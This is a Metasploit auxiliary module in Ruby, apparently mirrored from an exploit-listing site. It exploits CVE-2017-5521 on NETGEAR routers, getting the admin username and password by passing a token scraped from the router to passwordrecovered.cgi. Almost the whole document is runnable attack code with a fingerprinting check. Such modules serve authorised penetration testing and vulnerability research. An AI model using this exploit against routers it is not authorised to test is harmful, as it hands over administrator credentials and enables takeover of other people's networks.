Share
## https://sploitus.com/exploit?id=PACKETSTORM:180619
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NETGEAR Administrator Password Disclosure',  
'Description' => %q{  
This module will collect the password for the `admin` user.  
The exploit will not complete if password recovery is set on the router.  
The password is received by passing the token generated from `unauth.cgi`  
to `passwordrecovered.cgi`. This exploit works on many different NETGEAR  
products. The full list of affected products is available in the 'References'  
section.  
  
},  
'Author' =>  
[  
'Simon Kenin', # Vuln Discovery, PoC  
'thecarterb' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2017-5521' ],  
[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758' ],  
[ 'URL', 'https://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],  
[ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/'],  
[ 'URL', 'https://pastebin.com/dB4bTgxz'],  
[ 'EDB', '41205']  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])  
])  
end  
  
# @return substring of 'text', usually a response from a server in this case  
def scrape(text, start_trig, end_trig)  
text[/#{start_trig}(.*?)#{end_trig}/m, 1]  
end  
  
def run  
uri = target_uri.path  
uri = normalize_uri(uri)  
print_status("Checking if #{rhost} is a NETGEAR router")  
vprint_status("Sending request to http://#{rhost}/")  
  
# will always call check no matter what  
is_ng = check  
  
res = send_request_cgi({ 'uri' => uri })  
if res.nil?  
print_error("#{rhost} returned an empty response.")  
return  
end  
  
if is_ng == Exploit::CheckCode::Detected  
marker_one = "id="  
marker_two = "\""  
token = scrape(res.to_s, marker_one, marker_two)  
if token.nil?  
print_error("#{rhost} is not vulnerable: Token not found")  
return  
end  
  
if token == '0'  
print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")  
end  
print_status("Token found: #{token}")  
vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")  
  
r = send_request_cgi({  
'uri' => "/passwordrecovered.cgi",  
'vars_get' => { 'id' => token }  
})  
  
vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")  
  
html = r.get_html_document  
raw_html = html.text  
  
username = scrape(raw_html, "Router Admin Username", "Router Admin Password")  
password = scrape(raw_html, "Router Admin Password", "You can")  
if username.nil? || password.nil?  
print_error("#{rhost} returned empty credentials")  
return  
end  
username.strip!  
password.strip!  
  
if username.empty? || password.empty?  
print_error("No Creds found")  
else  
print_good("Creds found: #{username}/#{password}")  
end  
else  
print_error("#{rhost} is not vulnerable: Not a NETGEAR device")  
end  
end  
  
# Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response  
# This checks the response for that header.  
def check  
  
res = send_request_cgi({'uri'=>'/'})  
if res.nil?  
fail_with(Failure::Unreachable, 'Connection timed out.')  
end  
  
# Checks for the `WWW-Authenticate` header in the response  
if res.headers["WWW-Authenticate"]  
data = res.to_s  
marker_one = "Basic realm=\""  
marker_two = "\""  
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]  
print_good("Router is a NETGEAR router (#{model})")  
return Exploit::CheckCode::Detected  
else  
print_error('Router is not a NETGEAR router')  
return Exploit::CheckCode::Safe  
end  
end  
end